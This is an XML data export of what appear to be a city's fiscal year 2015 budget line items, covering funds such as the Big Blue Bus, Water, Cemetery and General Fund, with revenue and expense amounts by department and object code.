<row _id="14188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>48826.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48826.0</total></row>
<row _id="14189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="14191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17177.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17177.0</total></row>
<row _id="14192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533080.0</object><object_description>MARTIN LUTHER KING DAY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8038.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8038.0</total></row>
<row _id="14193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2129.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2129.0</total></row>
<row _id="14194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401200.0</object><object_description>FIELD PERMITS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-242400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-242400.0</total></row>
<row _id="14195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400771.0</object><object_description>OUTDOOR DINING REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-666007.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-666007.0</total></row>
<row _id="14196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>122.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122.0</total></row>
<row _id="14197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-145000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-145000.0</total></row>
<row _id="14198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-575000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-575000.0</total></row>
<row _id="14199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>407160.0</object><object_description>STORMWATER IN-LIEU FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="14200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="14201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402350.0</object><object_description>WATER - MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-316806.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-316806.0</total></row>
<row _id="14202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402370.0</object><object_description>REIMB FROM OTHER FUNDS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-431080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-431080.0</total></row>
<row _id="14203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404800.0</object><object_description>WATER DEMAND MITIGATION FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="14204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402220.0</object><object_description>CEMETERY MISC SALES / SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-257489.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-257489.0</total></row>
<row _id="14205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402230.0</object><object_description>MAUSOLEUM-MISC SALES/SVCS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-18025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18025.0</total></row>
<row _id="14206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404680.0</object><object_description>HMRRP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-169762.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-169762.0</total></row>
<row _id="14207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400690.0</object><object_description>PLAN CHECK FEES-ENGINEERING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-390635.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-390635.0</total></row>
<row _id="14208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14201.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14201.0</total></row>
<row _id="14209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15793.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15793.0</total></row>
<row _id="14210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>53477.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53477.0</total></row>
<row _id="14211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>54304.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54304.0</total></row>
<row _id="14212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69814.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69814.0</total></row>
<row _id="14213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2163514.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2163514.0</total></row>
<row _id="14214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522060.0</object><object_description>COURT FILING FEES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="14216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>775000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>775000.0</total></row>
<row _id="14217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>120000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="14218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-2026969.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2026969.0</total></row>
<row _id="14219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402360.0</object><object_description>WATER - METER SRVC / INSTALL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-450000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-450000.0</total></row>
<row _id="14220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401500.0</object><object_description>GARB/REFUSE COLLECTION FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-23832000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23832000.0</total></row>
<row _id="14221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401540.0</object><object_description>STATE HIGHWAY CLEANING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-10800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10800.0</total></row>
<row _id="14222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-148800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-148800.0</total></row>
<row _id="14223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402200.0</object><object_description>CEMETERY LOT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-537700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-537700.0</total></row>
<row _id="14224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1276.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1276.0</total></row>
<row _id="14225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>452336.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>452336.0</total></row>
<row _id="14226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>71653.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71653.0</total></row>
<row _id="14227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27.0</total></row>
<row _id="14228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>950470.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>950470.0</total></row>
<row _id="14229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="14230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7552.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7552.0</total></row>
<row _id="14231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="14232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>375.0</total></row>
<row _id="14233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544113.0</object><object_description>ONBOARD MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>41000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41000.0</total></row>
<row _id="14234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544119.0</object><object_description>PUBLIC RELATIONS SVC.</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="14235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402000.0</object><object_description>PASSENGER REVENUE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-14508200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14508200.0</total></row>
